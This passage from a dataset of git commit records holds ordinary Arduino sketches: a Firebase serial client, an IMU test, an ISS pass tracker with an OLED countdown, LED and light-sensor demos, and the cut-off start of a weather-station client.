example.\n","repos":"gguuss\/firebase-arduino,FirebaseExtended\/firebase-arduino,aliafshar\/firebase-arduino,gguuss\/firebase-arduino,aliafshar\/firebase-arduino,proppy\/firebase-arduino,FirebaseExtended\/firebase-arduino,aliafshar\/firebase-arduino,gguuss\/firebase-arduino,FirebaseExtended\/firebase-arduino,ed7coyne\/firebase-arduino","old_file":"examples\/FirebaseSerialClient\/FirebaseSerialClient.ino","new_file":"examples\/FirebaseSerialClient\/FirebaseSerialClient.ino","new_contents":"\/\/\n\/\/ Copyright 2015 Google Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\n\/\/ FirebaseSerialClient is a sample that would sit on the other\n\/\/ end of a serial connection and communicate with our chiplet.\n\/\/ When you hold down the send button it will generate a random number\n\/\/ of flashes and store that in Firebase. Then when you hold down the \n\/\/ flash button it will read that value from Firebase and flash the\n\/\/ led the appropriate number of times. If you hold both it will delete\n\/\/ the stored value.\n\/\/ This example touches most of the basic calls over the serial interface.\n\n\/\/ Set these parameters.\n\nconst String network_ssid = \"\";\nconst String host = \"\";\nconst String auth = \"\";\n\nbool initialized = false;\n\nvoid setup() {\n \/\/ Connect to pc over usb.\n Serial.begin(9600);\n \n \/\/ Connect to chiplet over the Serial1 port (pins 19 and 18).\n \/\/ If you don't have a Serial1 port than remove all debug output and switch to Serial\n Serial1.begin(9600);\n\n \/\/ Note, in production you only need to set NETWORK when your device changes location.\n \/\/ It will persist through power cycles.\n dataPrintLn(String(\"NETWORK \") + network_ssid);\n String response = dataReadLn();\n if (response != \"+CONNECTED\") { \n debugPrintLn(\"Failed to connect to network: \" + response);\n return;\n }\n debugPrintLn(\"Connected to \" + network_ssid);\n \n dataPrintLn(String(\"INIT \") + host + \" \" + auth); \n response = dataReadLn();\n if (response != \"+OK\") {\n debugPrintLn(\"Failed to initalize: \" + response);\n return;\n }\n initialized = true; \n}\n\nvoid loop() {\n if (!initialized) {\n return;\n }\n\n if (SendButtonDown() && FlashButtonDown()) {\n dataPrintLn(\"REMOVE \/led_flashes\");\n String response = dataReadLn();\n if (response != \"+OK\") {\n debugPrintLn(\"Error during REMOVE: \" + response); \n } \n \n } else if (SendButtonDown()) {\n debugPrintLn(\"Sending random number.\");\n int flashes = random(10);\n\n dataPrintLn(String(\"SET \/led_flashes\") + flashes);\n String response = dataReadLn();\n if (response != \"+OK\") {\n debugPrintLn(\"Error during SET: \" + response); \n }\n\n \/\/ Write to a log as well so we can see the history.\n dataPrintLn(String(\"PUSH \/led_flashes_log \") + flashes);\n if (dataReadType() == '-') {\n debugPrintLn(\"Error during PUSH: \" + dataReadLn()); \n } else {\n \/\/ Drain input, we don't care about the new key.\n dataReadLn();\n }\n \n debugPrintLn(\"Done sending random number.\");\n \n } else if (FlashButtonDown()) {\n debugPrintLn(\"Flashing LED.\");\n dataPrintLn(String(\"GET# \/led_flashes\"));\n if (dataReadType() == '-') {\n debugPrintLn(\"Error during GET: \" + dataReadLn()); \n }\n\n int flashes = atoi(dataReadLn().c_str());\n FlashLed(flashes); \n \n debugPrintLn(\"Done flashing LED.\");\n }\n}\n\nbool SendButtonDown() {\n \/\/TODO Add detection for button on pin.\n return false;\n}\n\nbool FlashButtonDown() {\n \/\/TODO Add detection for button on pin.\n return false;\n}\n\nvoid FlashLed(int times) {\n \/\/TODO Add logic to flash led at high frequency <500ms between \n \/\/ flashes so we don't take too long.\n}\n\nvoid debugPrintLn(const String& message) {\n Serial.println(message);\n}\n\nvoid dataPrintLn(const String& message) {\n Serial1.println(message); \n}\n\nchar dataReadType() {\n return Serial1.read();\n}\n\nString dataReadLn() {\n String line = Serial1.readStringUntil('\\r');\n \/\/ Dump \\r\\n\n Serial1.read();\n Serial1.read();\n return line;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/FirebaseSerialClient\/FirebaseSerialClient.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"9eacaca90e73f7c5dfb0a0db129b0e3baeb4170d","subject":"debug of register contents: registers correct","message":"debug of register contents: registers correct\n","repos":"wesmith\/IMUtest,wesmith\/IMUtest,wesmith\/IMUtest","old_file":"IMUtest.ino","new_file":"IMUtest.ino","new_contents":"\/* \n\nIMUtest.ino\n\nCopyright (c) 2017 Warren E Smith smiwarsky@gmail.com\n\nPlease see the MIT License in the project root directory for specifics. \n\n*\/\n\n#include <Wire.h>\n#include \"IMU.h\" \n\n\/\/ arduino I2C slave address: ensure no conflict with LSM303 or L3G addresses\nconst byte slaveAdd = 0x44; \nint registerAddr;\nint16_t data[12]; \/\/ I2C data registers 0x00 to 0x0b\n\n\/\/ speed settings\nint msecPerCycle = 50; \nlong baud = 115200; \/\/ typically 9600, 57600, 115200\n\n\/\/ generally have only one of the following set to TRUE, depending upon task\nbool I2C = true; \/\/ run in I2C slave mode\nbool PRINTSCREEN = false; \/\/ compare gyro fusion 'on' to gyro fusion 'off', \n \/\/ user-friendly print of roll, pitch, heading\nbool RPH = false; \/\/ roll, pitch, heading, formatted for visual python\nbool RPH2 = false; \/\/ compare gyro fusion 'on' to gyro fusion 'off', \n \/\/ for Processing RealTimePlotter format\nbool CALIBACC = false; \/\/ generate accelerometer calibration data\nbool CALIBMAG = false; \/\/ generate magnetometer calibration data\nbool CALIB_TEST = false; \/\/ test robustness of calibration, once platform calibrated: \n \/\/ CALIBACC or CALIBMAC should be TRUE for this\nbool DEVTYPE = false; \/\/ print out device type\n\nIMU withGyro; \/\/ with accelerometer\/gyro fusion\nIMU noGyro; \/\/ just accelerometer\n\n\nvoid setup() {\n\n Serial.begin(baud);\n \n Wire.begin(slaveAdd);\n Wire.onReceive(receiveRegister);\n Wire.onRequest(respondData);\n \/\/ I2C clock freq; don't set this register on DUE: there are currently issues\n TWBR=100000L; \n \n withGyro.init();\n noGyro.init();\n \n delay(100);\n \n \/\/ true means gyro is used, followed by alpha \n \/\/ 0 < alpha < 1; \n \/\/ alpha ~ 1 weights gyro heavily, alpha ~ 0 weights accelerometer heavily\n \/\/ if false, alpha is ignored, and no gyro data is used\n withGyro.setWeightsAndGyro(true, 0.95); \n noGyro.setWeightsAndGyro(false, 0.95); \/\/ no gyro, alpha is ignored\n \n \/\/ mag, acc, calibration methods take three offsets, three scales\n \/\/ 5\/11\/17 calibration, average of three \n withGyro.setCalibrateMag( -52, -158, 39, 1.00, 1.02, 1.16); \n noGyro.setCalibrateMag( -52, -158, 39, 1.00, 1.02, 1.16); \n \n \/\/ 5\/8\/17 calibration values\n withGyro.setCalibrateAcc(-1020, -84, -700, 1.07, 1.07, 1.00); \n noGyro.setCalibrateAcc(-1020, -84, -700, 1.07, 1.07, 1.00); \n \n \/\/ new gyro calibration here: offset, noise value, calibrated rate for each axis\n \/\/withGyro.setCalibrateGyro(off, off, off, noise, noise, noise, scal, scal, scal);\n\n \/\/ NOTE: the rollAxis, rollReference vectors must be orthogonal for meaningful \n \/\/ results; they can be non-normal: they are normalized internally\n \/\/ WS 5\/3\/17: 'normal' chip settings, consistent with Pololu markings\n \/\/ x chip axis is 'x', y chip axis is 'y'\n \/\/ x axis is rollAxis, y axis is rollReference\n withGyro.setIMUAxes (1, 0, 0, 0, 1, 0); \n noGyro.setIMUAxes (1, 0, 0, 0, 1, 0); \n\n \/\/ 5\/4\/17 experiment: this worked, with correct signs for angles\n \/\/ -y chip axis is rollAxis 'x', x chip axis is rollReference 'y'\n \/\/withGyro.setIMUAxes (0, -1, 0, 1, 0, 0); \n\n \/\/ 5\/4\/17 experiment: this worked, with correct signs for angles\n \/\/ z chip axis is rollAxis 'x', x chip axis is rollReference 'y'\n \/\/withGyro.setIMUAxes (0, 0, 1, 1, 0, 0);\n}\n\n\nvoid loop() {\n\n \/\/ do one or the other calibrations, not both together\n if (CALIBACC) {withGyro.doCalibrateAcc(CALIB_TEST);}\n if (CALIBMAG) {withGyro.doCalibrateMag(CALIB_TEST);}\n \n if (PRINTSCREEN || RPH || RPH2 || DEVTYPE || I2C) {\n withGyro.getRollPitchHeading(); \n noGyro.getRollPitchHeading(); \n printResults();\n }\n \n delay(msecPerCycle);\n}\n\n\nvoid fillI2CRegisters() {\n data[ 0] = (int16_t)withGyro.roll >> 8; \/\/ MSB\n data[ 1] = (int16_t)withGyro.roll & 0xFF; \/\/ LSB\n data[ 2] = (int16_t)withGyro.pitch >> 8;\n data[ 3] = (int16_t)withGyro.pitch & 0xFF;\n data[ 4] = (int16_t)withGyro.head >> 8;\n data[ 5] = (int16_t)withGyro.head & 0xFF; \n data[ 6] = (int16_t)noGyro.roll >> 8;\n data[ 7] = (int16_t)noGyro.roll & 0xFF;\n data[ 8] = (int16_t)noGyro.pitch >> 8;\n data[ 9] = (int16_t)noGyro.pitch & 0xFF; \n data[10] = (int16_t)noGyro.head >> 8;\n data[11] = (int16_t)noGyro.head & 0xFF;\n}\n\n\nvoid receiveRegister(int x) {\n registerAddr = Wire.read();\n}\n\n\nvoid respondData(){\n byte dataValue = 0x00; \/\/ default value\n if ((registerAddr >= 0x00) && (registerAddr < 0x0c)) {\n dataValue = data[registerAddr]; \n }\n Wire.write(dataValue);\n}\n\n\nvoid printResults() {\n\n if (I2C) {\n fillI2CRegisters();\n \/\/ debug follows: this works\n char report[120];\n snprintf(report, sizeof(report),\n \"ROLL:%+4d data[0]:%+4d data[1]:%+4d combined:%+4d\", \n (int)withGyro.roll, data[0], data[1], data[0]<<8 | data[1]);\n Serial.println(report);\n }\n\n if (PRINTSCREEN) {\n char report[120]; \n snprintf(report, sizeof(report), \n \"ROLL-NG:%+4d ROLL:%+4d PITCH-NG:%+4d PITCH:%+4d HEADING-NG:%+4d HEADING: %+4d\", \n (int)noGyro.roll, (int)withGyro.roll, \n (int)noGyro.pitch, (int)withGyro.pitch, \n (int)noGyro.head, (int)withGyro.head);\n Serial.println(report);\n }\n \n if (RPH) {\n Serial.print(\"RPH \");\n Serial.print((int)withGyro.roll);\n Serial.print(\",\");\n Serial.print((int)withGyro.pitch);\n Serial.print(\",\");\n Serial.print((int)withGyro.head);\n Serial.print(\",\"); \n Serial.println();\n }\n\n \/\/ comparison of gyro fusion and no gyro, format for realtimeplotter\n if (RPH2) {\n \/\/Serial.print(\"RPH2 \");\n Serial.print((int)noGyro.roll);\n Serial.print(\" \");\n Serial.print((int)withGyro.roll);\n Serial.print(\" \");\n Serial.print((int)noGyro.pitch);\n Serial.print(\" \"); \n Serial.print((int)withGyro.pitch);\n Serial.print(\" \");\n Serial.print((int)noGyro.head);\n Serial.print(\" \");\n Serial.print((int)withGyro.head);\n \/\/Serial.print(\" \"); \n Serial.print(\"\\r\"); \n Serial.println();\n }\n\n if (DEVTYPE) {\n Serial.print(\"Accelerometer & Magnetometer: \");\n Serial.print(withGyro.getMagAccType());\n Serial.print(\" Gyro: \");\n Serial.print(withGyro.getGyroType());\n Serial.println();\n }\n}\n\n","old_contents":"\/* \n\nIMUtest.ino\n\nCopyright (c) 2017 Warren E Smith smiwarsky@gmail.com\n\nPlease see the MIT License in the project root directory for specifics. \n\n*\/\n\n#include <Wire.h>\n#include \"IMU.h\" \n\n\/\/ arduino I2C slave address: ensure no conflict with LSM303 or L3G addresses\nconst byte slaveAdd = 0x44; \nint registerAddr;\nint16_t data[12]; \/\/ I2C data registers 0x00 to 0x0b\n\n\/\/ speed settings\nint msecPerCycle = 50; \nlong baud = 115200; \/\/ typically 9600, 57600, 115200\n\n\/\/ generally have only one of the following set to TRUE, depending upon task\nbool I2C = true; \/\/ run in I2C slave mode\nbool PRINTSCREEN = false; \/\/ compare gyro fusion 'on' to gyro fusion 'off', \n \/\/ user-friendly print of roll, pitch, heading\nbool RPH = false; \/\/ roll, pitch, heading, formatted for visual python\nbool RPH2 = false; \/\/ compare gyro fusion 'on' to gyro fusion 'off', \n \/\/ for Processing RealTimePlotter format\nbool CALIBACC = false; \/\/ generate accelerometer calibration data\nbool CALIBMAG = false; \/\/ generate magnetometer calibration data\nbool CALIB_TEST = false; \/\/ test robustness of calibration, once platform calibrated: \n \/\/ CALIBACC or CALIBMAC should be TRUE for this\nbool DEVTYPE = false; \/\/ print out device type\n\nIMU withGyro; \/\/ with accelerometer\/gyro fusion\nIMU noGyro; \/\/ just accelerometer\n\n\nvoid setup() {\n\n Serial.begin(baud);\n \n Wire.begin(slaveAdd);\n Wire.onReceive(receiveRegister);\n Wire.onRequest(respondData);\n \/\/ I2C clock freq; don't set this register on DUE: there are currently issues\n TWBR=100000L; \n \n withGyro.init();\n noGyro.init();\n \n delay(100);\n \n \/\/ true means gyro is used, followed by alpha \n \/\/ 0 < alpha < 1; \n \/\/ alpha ~ 1 weights gyro heavily, alpha ~ 0 weights accelerometer heavily\n \/\/ if false, alpha is ignored, and no gyro data is used\n withGyro.setWeightsAndGyro(true, 0.95); \n noGyro.setWeightsAndGyro(false, 0.95); \/\/ no gyro, alpha is ignored\n \n \/\/ mag, acc, calibration methods take three offsets, three scales\n \/\/ 5\/11\/17 calibration, average of three \n withGyro.setCalibrateMag( -52, -158, 39, 1.00, 1.02, 1.16); \n noGyro.setCalibrateMag( -52, -158, 39, 1.00, 1.02, 1.16); \n \n \/\/ 5\/8\/17 calibration values\n withGyro.setCalibrateAcc(-1020, -84, -700, 1.07, 1.07, 1.00); \n noGyro.setCalibrateAcc(-1020, -84, -700, 1.07, 1.07, 1.00); \n \n \/\/ new gyro calibration here: offset, noise value, calibrated rate for each axis\n \/\/withGyro.setCalibrateGyro(off, off, off, noise, noise, noise, scal, scal, scal);\n\n \/\/ NOTE: the rollAxis, rollReference vectors must be orthogonal for meaningful \n \/\/ results; they can be non-normal: they are normalized internally\n \/\/ WS 5\/3\/17: 'normal' chip settings, consistent with Pololu markings\n \/\/ x chip axis is 'x', y chip axis is 'y'\n \/\/ x axis is rollAxis, y axis is rollReference\n withGyro.setIMUAxes (1, 0, 0, 0, 1, 0); \n noGyro.setIMUAxes (1, 0, 0, 0, 1, 0); \n\n \/\/ 5\/4\/17 experiment: this worked, with correct signs for angles\n \/\/ -y chip axis is rollAxis 'x', x chip axis is rollReference 'y'\n \/\/withGyro.setIMUAxes (0, -1, 0, 1, 0, 0); \n\n \/\/ 5\/4\/17 experiment: this worked, with correct signs for angles\n \/\/ z chip axis is rollAxis 'x', x chip axis is rollReference 'y'\n \/\/withGyro.setIMUAxes (0, 0, 1, 1, 0, 0);\n}\n\n\nvoid loop() {\n\n \/\/ do one or the other calibrations, not both together\n if (CALIBACC) {withGyro.doCalibrateAcc(CALIB_TEST);}\n if (CALIBMAG) {withGyro.doCalibrateMag(CALIB_TEST);}\n \n if (PRINTSCREEN || RPH || RPH2 || DEVTYPE || I2C) {\n withGyro.getRollPitchHeading(); \n noGyro.getRollPitchHeading(); \n printResults();\n }\n \n delay(msecPerCycle);\n}\n\n\nvoid fillI2CRegisters() {\n data[ 0] = (int16_t)withGyro.roll >> 8; \/\/ MSB\n data[ 1] = (int16_t)withGyro.roll & 0xFF; \/\/ LSB\n data[ 2] = (int16_t)withGyro.pitch >> 8;\n data[ 3] = (int16_t)withGyro.pitch & 0xFF;\n data[ 4] = (int16_t)withGyro.head >> 8;\n data[ 5] = (int16_t)withGyro.head & 0xFF; \n data[ 6] = (int16_t)noGyro.roll >> 8;\n data[ 7] = (int16_t)noGyro.roll & 0xFF;\n data[ 8] = (int16_t)noGyro.pitch >> 8;\n data[ 9] = (int16_t)noGyro.pitch & 0xFF; \n data[10] = (int16_t)noGyro.head >> 8;\n data[11] = (int16_t)noGyro.head & 0xFF;\n}\n\n\nvoid receiveRegister(int x) {\n registerAddr = Wire.read();\n}\n\n\nvoid respondData(){\n byte dataValue = 0x00; \/\/ default value\n if ((registerAddr >= 0x00) && (registerAddr < 0x0c)) {\n dataValue = data[registerAddr]; \n }\n Wire.write(dataValue);\n}\n\n\nvoid printResults() {\n\n if (I2C) {\n fillI2CRegisters();\n }\n\n if (PRINTSCREEN) {\n char report[120]; \n snprintf(report, sizeof(report), \n \"ROLL-NG:%+4d ROLL:%+4d PITCH-NG:%+4d PITCH:%+4d HEADING-NG:%+4d HEADING: %+4d\", \n (int)noGyro.roll, (int)withGyro.roll, \n (int)noGyro.pitch, (int)withGyro.pitch, \n (int)noGyro.head, (int)withGyro.head);\n Serial.println(report);\n }\n \n if (RPH) {\n Serial.print(\"RPH \");\n Serial.print((int)withGyro.roll);\n Serial.print(\",\");\n Serial.print((int)withGyro.pitch);\n Serial.print(\",\");\n Serial.print((int)withGyro.head);\n Serial.print(\",\"); \n Serial.println();\n }\n\n \/\/ comparison of gyro fusion and no gyro, format for realtimeplotter\n if (RPH2) {\n \/\/Serial.print(\"RPH2 \");\n Serial.print((int)noGyro.roll);\n Serial.print(\" \");\n Serial.print((int)withGyro.roll);\n Serial.print(\" \");\n Serial.print((int)noGyro.pitch);\n Serial.print(\" \"); \n Serial.print((int)withGyro.pitch);\n Serial.print(\" \");\n Serial.print((int)noGyro.head);\n Serial.print(\" \");\n Serial.print((int)withGyro.head);\n \/\/Serial.print(\" \"); \n Serial.print(\"\\r\"); \n Serial.println();\n }\n\n if (DEVTYPE) {\n Serial.print(\"Accelerometer & Magnetometer: \");\n Serial.print(withGyro.getMagAccType());\n Serial.print(\" Gyro: \");\n Serial.print(withGyro.getGyroType());\n Serial.println();\n }\n}\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"b0b019327cf10f7874633c54958f29b5522a705d","subject":"Added OLED version of ISS tracker","message":"Added OLED version of ISS tracker\n","repos":"sebleedelisle\/st4i-workshop,sebleedelisle\/st4i-workshop,sebleedelisle\/st4i-workshop,sebleedelisle\/st4i-workshop,sebleedelisle\/st4i-workshop","old_file":"Arduino\/C7_ISSTrackerOLED\/C7_ISSTrackerOLED.ino","new_file":"Arduino\/C7_ISSTrackerOLED\/C7_ISSTrackerOLED.ino","new_contents":"#include <Wire.h>\n#include \"LedControl.h\"\n\n#include \"Adafruit_CC3000.h\"\n#include <SPI.h>\n#include \"ST4iWifiManager.h\"\n\n#define WIFI \"indi-wifi\"\n#define PASSWORD \"id1w679mv\"\n\n#include <JsonParser.h>\n#include \"utility\/debug.h\" \/\/ for the freemem util\n#include <Time.h>\n\n#include \"U8glib.h\"\n\nuint8_t draw_state = 0;\nusing namespace ArduinoJson::Parser;\nST4iWifiManager wifi; \n\n#define BUZZER_PIN 34\n#define WIFI_OK_LED 2\n\n\/\/ the OLED display object. Horrible name huh!? \n\nU8GLIB_SSD1306_128X64_2X u8g(U8G_I2C_OPT_NO_ACK); \nchar* outputString = \"000:00:00:00\";\nint position[] = {\n 0,0};\n\nJsonParser<100> parser;\nString jsonString;\n\n\nlong nextPassTime;\nlong duration; \n\nvoid setup() { \n Serial.begin(115200);\n tone(BUZZER_PIN,500,400); \n\n \/\/ initialise the LED 7 segment display\n initOLED();\n\n \/\/ initialise the wifi manager and connect to the network\n wifi.init(WIFI_OK_LED, 30); \n\n wifi.connect(WIFI, PASSWORD, WLAN_SEC_WPA2); \n\n\n \/\/ first step - where are we? Ask a geoip server!\n \/\/ give it your ip address and it tells you your lat \/ long\n jsonString = wifi.getWebPage(\"www.telize.com\", \"\/geoip\"); \n\n\n Serial.println(\"--------------------\");\n\n \/\/ extract the lat long from the json string that you get back\n char jsonchar[jsonString.length()+1];\n jsonString.toCharArray(jsonchar, jsonString.length()+1);\n JsonObject root = parser.parse(jsonchar);\n\n if (!root.success())\n {\n Serial.println(\"JsonParser.parse() failed\");\n\n \/\/ probably should fail a bit more gracefully than this...\n return;\n }\n\n char* latitude = root[\"latitude\"]; \n Serial.println(latitude); \n\n char* longitude = root[\"longitude\"]; \n Serial.println(longitude); \n\n \/\/ Open notify tells us the next over pass of the ISS \n \/\/ based on our lat long. \n \/\/ Figure out the URL path that we need, and insert the \n \/\/ lat\/long into the query string\n char path[255];\n sprintf(path,\"\/iss-pass.json?lat=%s&lon=%s&n=2\",latitude, longitude);\n\n Serial.println(\"opening page : \") ; \n Serial.print(\"api.open-notify.org\"); \n Serial.println(path);\n\n \/\/ and get the web page - this function blocks\n jsonString = wifi.getWebPage(\"api.open-notify.org\", path);\n\n Serial.print(\"RAM : \");\n Serial.println(getFreeRam(), DEC);\n Serial.println(\"--------------------\");\n\n jsonString.toCharArray(jsonchar, jsonString.length()+1);\n Serial.println(\"parsing json\");\n\n Serial.println(\"------------\"); \n Serial.print(jsonchar); \n Serial.println(\"------------\"); \n\n \/\/ parse the json\n JsonObject root2 = parser.parse(jsonchar);\n\n if (!root2.success())\n {\n Serial.println(\"JsonParser.parse() failed\");\n return;\n } \n\n \/\/ if it worked, then we can extract the info that we need!\n Serial.println(\"SUCCESS!\"); \n Serial.println(getFreeRam(), DEC);\n\n long time = root2[\"request\"][\"datetime\"]; \n nextPassTime = root2[\"response\"][0][\"risetime\"];\n duration = root2[\"response\"][0][\"duration\"];\n\n Serial.println((long)root2[\"response\"][0][\"risetime\"]); \n Serial.println(nextPassTime); \n Serial.println(time); \n\n \/\/ the open notify api tells us the time too, so set our \n \/\/ internal clock using that! \n setTime(time); \/\/ should probably subtract latency\n\n Serial.println(\"NOW\"); \n printTime(now()); \n Serial.println(\"NEXT PASS\"); \n printTime(nextPassTime); \n Serial.println(\"DURATION\"); \n Serial.println(duration); \n Serial.println(\"PASS #2\"); \n printTime((long)root2[\"response\"][1][\"risetime\"]); \n}\n\n\/\/ get current location from IP address\n\/\/ get next ISS pass time and duration and current time\n\n\/\/ loop \n\/\/ calculate time until next pass\n\/\/ convert it to days \/ hours \/ mins \/ secs \/ cents\n\/\/ if it's less than 1 min make alarm\n\/\/ if it's now then turn on LED strip and countdown pass time\n\/\/ if it's finished then load the data again. (TO DO)\n\nvoid loop() { \n \/\/ Serial.println(nextPassTime - millis()); \n\n time_t timetopass = nextPassTime - now(); \n\n showTimer(timetopass); \n\n \/\/ if it's flying over MAKE SOME NOISE! WOOOO\n while((now()>nextPassTime) && (now()<nextPassTime+duration)) { \n tone(BUZZER_PIN,500,200); \n outputString = \"00:00:00\"; \n updateScreen(); \n delay(300); \n outputString = \"\"; \n updateScreen(); \n\n delay(300); \n\n }\n\n}\n\nvoid printDigits(int digits) {\n \/\/ utility function for digital clock display: prints preceding colon and leading 0\n Serial.print(\":\");\n if(digits < 10)\n Serial.print('0');\n Serial.print(digits);\n}\n\nvoid showTimer(time_t t) { \n\n \/\/int cents = ((1414304029*1000) - (millis())) \/10 %100; \n int secs = t%60; \n int mins = (t\/60)%60; \n int hours = (t\/60\/60)%60; \n int days = t\/60\/60\/24; \n\n if(days>0) \n sprintf(outputString, \"%01d:%02d:%02d:%02d\", days, hours, mins, secs ); \n else if(hours>0) \n sprintf(outputString, \"%01d:%02d:%02d\", hours, mins, secs ); \n else if(mins>0) \n sprintf(outputString, \"%01d:%02d\", mins, secs ); \n else \n sprintf(outputString, \"%01d\", secs ); \n\n updateScreen(); \n\n}\n\n\nvoid updateScreen() { \n\n\n \/\/ Nice fonts what I like : \n \/\/u8g.setFont(u8g_font_fub25); \/\/ basically, helvetica bold\n \/\/u8g.setFont(u8g_font_helvB24);\n \/\/u8g.setFont(u8g_font_profont29);\n \/\/u8g.setFont(u8g_font_profont29);\n \/\/u8g.setFont(u8g_font_tpssb);\n\n int textwidth; \n int textheight = 35; \n\n u8g.setFont(u8g_font_fub35n);\n\n textwidth = u8g.getStrWidth(outputString);\n if(textwidth>128) { \n u8g.setFont(u8g_font_fub30n);\n textwidth = u8g.getStrWidth(outputString);\n textheight = 30; \n\n }\n if(textwidth>128) { \n u8g.setFont(u8g_font_fub25n);\n textwidth = u8g.getStrWidth(outputString);\n textheight = 25; \n\n }\n if(textwidth>128) { \n u8g.setFont(u8g_font_fub20n);\n textwidth = u8g.getStrWidth(outputString);\n textheight = 20; \n\n }\n if(textwidth>128) { \n u8g.setFont(u8g_font_fub17n);\n textwidth = u8g.getStrWidth(outputString);\n textheight = 20; \n\n }\n u8g.setFontPosTop();\n\n position[0] = (128-textwidth)\/2 + 1;\n position[1] = (64 - 35)\/2; \n\n \/\/ picture loop \n u8g.firstPage(); \n do {\n drawOLED();\n } \n while( u8g.nextPage() );\n\n}\n\nvoid printTime(time_t t) { \n\n int secs = second(t); \n int mins = minute(t); \n int hours = hour(t); \n int days = day(t); \n int months = month(t);\n\n Serial.print(days); \n Serial.print(\"\/\");\n Serial.print(months); \n Serial.print(\" \"); \n\n if(hours<10) Serial.print(0); \n Serial.print(hours); \n Serial.print(\":\"); \n if(mins<10) Serial.print(0); \n Serial.print(mins); \n Serial.print(\":\"); \n if(secs<10) Serial.print(0); \n Serial.println(secs); \n\n\n\n}\n\nvoid drawOLED(void) {\n\n u8g.drawStr( position[0], position[1], outputString); \/\/ only currently accommodates for 3 or 4 digits\n}\n\n\nvoid initOLED() { \n \/\/ comment out if you want the display reversed\n u8g.setRot180();\n\n}\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/C7_ISSTrackerOLED\/C7_ISSTrackerOLED.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e147990b4ede41998874c0942cc4d917a7e99197","subject":"Serial communication example","message":"Serial communication example\n","repos":"arduino-edushield\/edushield,maly\/edushield,maly\/edushield,arduino-edushield\/edushield","old_file":"examples\/SerialCommunication\/SerialCommunication.ino","new_file":"examples\/SerialCommunication\/SerialCommunication.ino","new_contents":"int GREEN = 13;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(GREEN,OUTPUT);\n digitalWrite(GREEN, LOW);\n Serial.println(\"Send 0 or 1 control LED\");\n}\n\nvoid loop() {\n if (Serial.available() > 0) {\n char led = Serial.read();\n\n switch(led) {\n case '0':\n digitalWrite(GREEN, LOW);\n break;\n case '1':\n digitalWrite(GREEN, HIGH); \n break;\n }\n }\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/SerialCommunication\/SerialCommunication.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"da3348bce5400e18195c68e07847056de4617191","subject":"add light sensor","message":"add light sensor\n","repos":"Seeed-Studio\/sketch_sidekick","old_file":"light_sensor\/light_sensor.ino","new_file":"light_sensor\/light_sensor.ino","new_contents":"\/\/ demo of light sensor and led bar\n\/\/ light sensor connect to A0\n\/\/ led bar connect to D2~D11\n\n\nconst int pinLightSensor = A0;\n\n\/\/ get val of analog(A0)\nint getAnalog()\n{\n\tint sum = 0;\n\t\n\tfor(int i=0; i<32; i++)\n\t{\n\t\tsum += analogRead(pinLightSensor);\n\t}\n\t\n\treturn sum>>5;\n}\n\n\/\/ set led bar, 0-10 level. \n\/\/ 0 led for level-0 and 10 leds for level-10\nvoid setLight(int lev)\n{\n\tfor(int i=2; i<=11; i++)\n\t{\n\t\tdigitalWrite(i, LOW);\n\t}\n\t\n\tif(lev>0)\n\t{\n\t\tfor(int i=0; i<lev; i++)\n\t\t{\n\t\t\tdigitalWrite(i+2, HIGH);\n\t\t}\n\t}\n}\n\n\nvoid setup()\n{\n\tfor(int i=2; i<=11; i++)\n\t{\n\t\tpinMode(i, OUTPUT);\n\t\tdigitalWrite(i, LOW);\n\t}\n}\n\nvoid loop()\n{\n\tint val_light = getAnalog();\t\t\t\t\t\/\/ get analog value\n\t\n\tint level = map(val_light, 0, 1023, 0, 10);\t\t\/\/ make level\n\t\n\tsetLight(level);\t\t\t\t\t\t\t\t\/\/ set led bar\n\t\n\t\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'light_sensor\/light_sensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"08b53ba57545097c531587146aaacf633b724166","subject":"Update Yun_PI_Client_WX.ino","message":"Update Yun_PI_Client_WX.ino","repos":"danielElopez\/PI-Connector-for-UFL-Samples,osisoft\/PI-Connector-for-UFL-Samples,osisoft\/PI-Connector-for-UFL-Samples,danielElopez\/PI-Connector-for-UFL-Samples,danielElopez\/PI-Connector-for-UFL-Samples,osisoft\/PI-Connector-for-UFL-Samples","old_file":"ArduinoYun\/Yun_PI_Client_WX\/Yun_PI_Client_WX.ino","new_file":"ArduinoYun\/Yun_PI_Client_WX\/Yun_PI_Client_WX.ino","new_contents":"\/***************************************************************************\r\n Copyright 2015 OSIsoft, LLC.\r\n Licensed under the Apache License, Version 2.0 (the \"License\");\r\n you may not use this file except in compliance with the License.\r\n You may obtain a copy of the License at\r\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\r\n \r\n Unless required by applicable law or agreed to in writing, software\r\n distributed under the License is distributed on an \"AS IS\" BASIS,\r\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n See the License for the specific language governing permissions and\r\n limitations under the License.\r\n ***************************************************************************\/\r\n\r\n#include <Wire.h>\r\n#include <FileIO.h>\r\n#include <Bridge.h>\r\n#include <Process.h>\r\n#include <ArduinoJson.h> \/\/ArduinoJSON serialization library\r\n#include <SparkFunMPL3115A2.h> \/\/Library for Pressure sensor on SparkFun Weather Shield\r\n#include <SparkFunHTU21D.h> \/\/Library for Humidity sensor on SparkFun Weather Shield\r\n\r\n\/\/Pin definitions\r\nconst byte REFERENCE_3V3 = A3; \/\/Reference voltage 3.3 on analog pin 3\r\nconst byte LIGHT = A1; \/\/Light level sensor on analog pin 1\r\nconst byte BlueLED = 7; 